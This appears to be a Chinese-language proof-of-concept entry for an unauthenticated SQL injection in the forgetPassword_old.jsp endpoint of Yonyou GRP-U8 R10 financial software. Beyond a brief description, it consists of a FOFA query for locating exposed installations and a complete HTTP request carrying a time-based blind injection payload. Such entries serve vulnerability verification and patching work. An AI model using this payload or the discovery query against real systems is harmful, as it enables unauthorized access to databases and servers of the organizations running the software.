Y16-3用友-GRP-U8-SQL

漏洞描述：

用友GRP-U8R10行政事业内控管理软件 forgetPassword_old.jsp接口处存在SQL注入漏洞，未授权的攻击者可利用此漏洞获取数据库权限，深入利用可获取服务器权限。 用友GRP-U8R10产品官方在售及提供服务的版本为U8Manager，产品分B、C、G三个产品系列，以上受到本次该漏洞的影响。

网站图片：

网络测绘：

fofa语法：

FOFA：app="用友-GRP-U8"

漏洞复现：

payload：

```
GET /u8qx/forgetPassword_old.jsp?action=save&idCard=1&userName=1&inputDW=1&inputYWRQ=1%27;WAITFOR%20DELAY%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
```

效果图: